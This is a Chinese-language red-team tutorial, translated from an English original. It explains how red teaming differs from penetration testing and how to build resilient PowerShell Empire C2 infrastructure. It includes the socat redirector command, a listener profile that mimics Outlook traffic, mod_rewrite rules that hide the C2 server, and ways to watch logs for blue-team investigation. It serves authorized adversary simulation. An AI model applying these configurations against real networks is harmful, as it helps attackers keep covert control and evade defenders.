译者: sn00py@D0g3
这篇文章特别针对那些想深入研究红队测试,并从传统渗透测试向前迈进一步的初学者。它也将有助于蓝队/应急响应团队/SOC分析员了解研究方法,并在与红队或真实对手的博弈中有所准备。这是一篇很长的帖子,所以读者最好先拿一杯咖啡,再继续阅读。
根据Redteamsecure.com的定义,红队测试是全方位、多层次的攻击模拟,旨在衡量一家公司的人员、网络、应用程序和硬件设施的安全控制在多大程度上能够抵御来自现实世界对手的攻击。
在与红队的交锋中,训练有素的安全顾问会制定攻击方案,以揭示潜在的物理、硬件、软件和人为漏洞。红队测试还可以识别不良行为者和恶意内部人员破坏公司系统和网络或导致数据泄露的情况。
这是一段来自RedTeamSecurity的视频,从中可以深入了解到红队的工作方式,但这与我们的方法并不完全相同。该方法和方法依据与组织的商定条款有所不同。
译者注:视频需fq观看
Watch hackers break into the US power grid
渗透测试可以定义为对组织安全状况的评估,该安全状态以受控方式执行,并且通常由安全管理员指定和管理。完成项目的给定时间和范围非常有限,通常不会考虑社会工程,恶意软件执行等现实威胁。大多数情况下,你将为给定的网络范围、Web应用程序、移动应用程序、无线等执行渗透。而与该特定范围相关的所有人员都将得到一个预先的信息,其中包括测试的时间段,以及测试人员使用的IP段白名单,以便确定只有指定的渗透小组正在攻击他们。
在渗透测试中,通常不会跨越漏洞利用阶段。如果你已经拿到远程主机的shell,并能借此进行一次全面的测试评估,那么在大多数情况下,客户会让你止步于此。如果给定了一系列内部/外部IP地址或多个web应用程序,则必须尝试在所有这些程序中发现漏洞,你不能忽视他们中的任何一个。
当今世界,由国家资助的黑客/ APT团队随时准备攻击他们想要的任何组织,而他们没有任何上述限制,这听起来就很可怕了。
当真正的攻击者想要攻入一个组织时,他将不会使用传统的渗透方法。攻击者会尽一切努力进入组织来窃取数据或破坏组织的声誉。在尝试以任何方式进入内部之前,他可能会计划数周甚至数月。这是传统的渗透测试和红队测试之间的区别。
而红队扮演真正的有攻击性的攻击者。大多数时候,红队的目标范围很大。整个组织的环境都在范围内,他们的目标是渗透,权限维持,建立跳板,后利用,以检查一个坚定的敌人可以做什么。红队可以使用所有战术,包括社会工程。最后,整个行动以红队控制整个网络或他们的行动被发现,然后被网络安全管理员阻止而告终。届时,他们将向管理层报告他们的发现,以协助提高网络的安全性。
红队的主要目标之一是即使他们进入组织内部也要保持隐蔽。而渗透测试人员在网络上动静很大,很容易被检测到,因为他们采用传统的方式进入组织。而红队是隐秘且快速的,并且在技术上具备规避AV、端点保护解决方案、防火墙和该组织已经实施的其他安全措施的知识。
综上而言,红队测试和渗透测试所需的技能组合是完全不同的。
大概分为以下几类:
权限维持 - 提权,维持持久性,建立跳板
后期利用 - 横向移动和数据外泄
从外部就能渗透入一个组织的日子已经一去不返了。如今,大多数暴露在外网的网络节点和WEB应用程序都非常安全。现在想获得较高成功率的唯一方式是,以某种方式在组织内部执行我们的有效载荷,然后回连我们。
这需要大量的工作和实践来绕过现有的现代端点保护、代理、IDS和其他安全设备。有效载荷必须避开所有的安全设备,并保持隐蔽,不触发蓝队/SOC团队的任何重大警报。
本文的目标是在保持隐蔽的同时,在目标组织的网络内获得初始立足点。现在,许多组织更喜欢“假定攻击”红队演习,即假设在自身已经被攻破的情况下,攻击者通过后续攻击可以造成什么样的危害。我们将在本系列文章的后续部分讨论有关后期利用的问题,但在本文中,我们仅讨论下面几个阶段:
在网络中获得初步立足点之后,我们的目标是在该组织内进行特权升级,建立跳板,横向移动,最后将敏感数据泄露出去。
我们假定目标组织是一家拥有全面安全产品和策略的“财富”500强公司。
在红队测试过程中,选择正确的C2框架是最重要的一步。正确的C2框架必须具有灵活性、敏捷性和抗弹性,以对抗蓝队的防御措施。它必须建立并持续数周/月,直到红队测试结束。丢掉在红队测试期间使用Metasploit的想法吧。对于传统渗透来说,它是一个很好的利用框架,但是当涉及到持续数周到数月的测试时,Metasploit并不是合适的工具。我们可以编写自己的框架,也可以使用已经过试验的东西。编写自己的C2框架将是一个大工程,需要大量的专业知识和时间。我们还是选择已经受全球各地专家青睐的工具吧。
经多大量的调研和讨论,我在此给出两个选择:
我们将使用powershell Empire,因为它是开源的,可免费供所有人使用。读者可以去powershell Empire官方网站查阅其使用文档。
不过,我想再提一下为什么我选择PowerShell Empire作为一个合适的后利用框架。
灵活和有弹性 - 与Metasploit不同,如果你的监听端掉线了一次,你就会失去连接。Empire代理可以继续尝试与你通信,直到达到你在设置有效负载时定义的连接尝试次数。代理信息存储在sqlite文件中,当你再次启动empire时可以获取该文件。一旦为监听器定义了参数,就不会再变动,除非手动修改。省的一次又一次地重复设置监听器。因为它是开源和模块化的,你还可以在Empire内部使用自己的powershell脚本。
使用powershell和python - 考虑到这一点,我们的目标是一个组织,大多数时候,他们的基础设施主要由windows系统组成,使用powershell是一个最佳的选择。Empire至少需要PowerShell v2.0来运行,它可以在Win Vista~Win 10上运行,但在Win XP系统上不起作用。它还为我们提供了绕过应用程序白名单的优势,这在许多组织中有所使用,因为PowerShell默认启用,我们不用删除或生成任何新的可执行文件。而对于基于unix的主机,我们可以使用基于python的Empire代理。
Invoke-Obfuscation模块预加载 - Empire有一个选项来对所有源代码、stagers和有效负载做不同程度的混淆。在规避基于签名的AV检测时很有帮助。
可靠的持久性模块** - 它有几个非常可靠的持久化模块,这些模块工作得很完美。使用WMI进行持久化是我最喜欢的模块之一。
不同的监听器选项 - 与Metasploit保持与C2服务器的持续TCP连接不同,帝国可以通过可自定义延迟和允许中间抖动的http协议通信,因此很难检测到C2流量。它有很多监听器选项,其中包括http_hop甚至Dropbox作为C2。
powershell Empire:
Empire http监听器选项:
Empire中不同的有效负载生成选项:
Empire各种监听器:
我们的C2(Command & Control)基础设施将包括我们的C2服务器,重定向器,钓鱼服务器和有效载荷投递服务器。在红队测试项目中,我们需要部署一个弹性C2基础设施,可以持续数周和数月,具体取决于项目的持续时间。基础设施必须灵活且足够强大,以抵御蓝队的预防行动。
例如,当蓝队发现组织已经被攻破,开始识别C2流量时,他们将开始拦截C2通信。你的C2基础设施应该料敌于先:即使当蓝队开始阻止你的活动时,也应该保持稳定。
传统渗透的基础设施:
@bluescreenofjeff已经写了一篇伟大的博文讨论如何设计一个弹性C2。本文的受到他的启发,我建议大家阅读他的博客,我在这里以更简洁的方式复述一些设计时要考虑的因素,我从中受益颇多:
你必须在测试期间架设多个C2服务器、多个重定向器、网络钓鱼服务器和有效载荷投递服务器。所有这一切都必须在不同的服务器上。我们需要将我们的基础设施分开,因为这将为我们提供所需的灵活性和弹性。例如,如果你的网络钓鱼服务器在测试期间被捕获并且蓝队封锁了电子邮件的接收域,你依然不会丢失对已经拥有的主机的控制权,因为你的C2服务器托管在不同的服务器和域上。
你的短程和长程C2服务器也应该托管在不同的域中。一般来说,短程C2在交战过程中很容易被捕获到。短程C2和长程C2之间的隔离能让你维持更长的时间。
所谓短程C2服务器是那种每隔几秒就会收到回调的服务器,用于在受害者的机器上实时执行命令。长途C2服务器是每隔几个小时才会收到回调的服务器。这将有助于我们的持久化并规避恶意流量检测。
隔离基础设施为你提供更高的灵活性和更强的对抗蓝队预防措施的能力。以下是现代红队基础设施的示例图。
红队基础设施示例:
重定向器可以放置在每个C2服务器的前面,以保护我们的核心基础架构不被识别和拦截。在C2服务器前使用重定向器有很多优点:
我们可以实现两种不同的重定向:
我们可以使用Socat或IPtables执行哑管道重定向。它会将所有传入流量转发到C2服务器。使用哑管道重定向器的唯一优势是原来的C2服务器将保持隐藏状态。它可以使用IPtables或Socat实现。Socat比在IPtables中配置规则更容易使用。 Socat 是一个基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。
这是Socat的基本语法,它将端口80上传入的所有TCP流量转发到指定远程主机的80端口。
Socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80
哑管重定向:
智能重定向将所有C2流量转发到C2服务器,并将所有其他流量重定向到合法网站。用于对抗蓝队调查我们的C2服务器。访问C2域名的任何人都将被重定向到另一个合法站点。这同样适用于curl、wget或Web扫描器等工具。这可以提高C2基础架构的弹性。
智能重定向:
实现智能重定向的最简单方法之一是使用mod_rewrite。
mod_rewrite能够根据请求属性(如URI、User-Agent、查询字符串、操作系统和IP)执行条件重定向。Apache mod_rewrite使用htaccess文件来配置规则集,以便Apache能够处理每个请求。
首先,我们必须根据我们尝试伪装的网络流量来定制我们的Empire C2。在这个例子中,我尝试将我的C2流量伪装成Microsoft实时电子邮件流量。你可以根据你要伪装的的Web服务更改User-Agent,URL,服务器头。如果有任何工具或人员正在监视http网络流量,他并不会被发现,因为它伪装成了outlook电子邮件流量。
它看起来就像安装在某人桌面或手机上的Outlook应用程序,每隔几分钟就会尝试与收件箱同步。在本例中,任何类型的流量如果与C2流量不匹配,就会被重定向到https://login.microsoftonline.com ,从而减少怀疑。在这篇文章的AV规避部分中将有更多对于此的讨论。
为了设置智能重定向,需要配置C2服务器和重定向服务器。下面是关于如何为智能重定向配置C2服务器和重定向服务器的详细信息。
配置C2服务器
listeners
uselistener http
set Name microsoft
set DefaultJitter 0.6
set DefaultDelay 11
set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/*
set Host http://[Redirector-ip]:80
将上述文本保存为microsoft.profile并使用以下命令启动powershell empire
./empire -r microsoft.profile (would start empire with the microsoft profile)
Empire http监听器选项:
配置重定向服务器
/etc/apache2/apache.conf
中<Directory /var/www/>
里的AllowOverride None
改成AllowOverride All
启用mod_rewrite所需的apache模块
sudo a2enmod rewrite proxy proxy_http
sudo service apache2 restart
编写.htaccess文件,使其实现重定向。这部分很棘手,因为如果出现问题,C2流量将永远不会转发到原始的C2服务器。一定要仔细检查RewriteCond正则表达式是否正常工作。
RewriteEngine On
#URL condition – Empire’s url structure
RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$
#UserAgent condition – Empire agent’s custom user agent
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$
#Redirect the original C2 traffic to this host
RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P]
# Redirect all other traffic here
RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]
将.htaccess文件放在/var/www/html
中,修改权限为644。然后重新启动apache服务器
通过https进行C2通信在绕过AV/IDS检测方面具有很大的优势,我们将在AV Evasion部分讨论。
以上步骤适用于HTTP流量,但如果我们要使用https以及重定向,则需要按照以下步骤操作:
配置重定向服务器
在重定向器服务器上启用ssl并在ssl配置文件中启用SSLProxyEngine
a2enmod ssl
在/etc/apache2/sites-available/000-default-le-ssl.conf
中添加这几行
SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
重启apache
用下面的规则替换.htaccess中的第一个重写规则
RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]
配置C2服务器
运行代理,如果一切正常,你的代理将通过https与重定向器服务器通信,然后将流量转发到C2服务器。
在测试过程中,你必须实施某种日志管理过程。记录C2/重定向服务器的网络活动有很多好处:
你需要了解蓝队的调查工作。日志将为你提供大量信息,就像亲眼看到蓝队在你的服务器上做了什么一样。
他们使用curl/wget吗?他们是否试图在你的服务器上运行端口扫描?他们是否在你的服务器上运行一些web漏洞扫描器/dirbuster ?他们是否试图从浏览器访问你的服务器?使用了什么浏览器?他们从什么时候开始调查的?他们在哪个时区工作?他们的公共IP地址是什么?它是否与该组织的公共IP地址相同?他们想要调查什么?它是试图侵入你的服务器的其他人吗?
你可以很容易地发现他们是否已经开始尝试调查你的C2服务器,并根据具体情况,你可以在他们拦截该域名之前动态地更改代理的C2服务器。Empire提供了在不同的侦听器上生成新代理的选项。
只需查看apache访问日志,就可以找到许多详细信息,例如 - IP地址,时间戳,访问的Url,响应代码,浏览器的User-Agent。
如果除Empire外的其他人访问webserver,将会很容易暴露,因为它的响应状态码是302。一个简单的“grep”和“cut”‘命令就能揭示蓝队的调查意图。
当你拥有大量C2和重定向服务器时,建议使用中央日志服务器和管理工具,以便在发生任何可疑活动时提醒你。选择什么样的日志管理工具取决于基础设施的规模大小和你对工具的熟悉程度,这就交给各位自由选择了。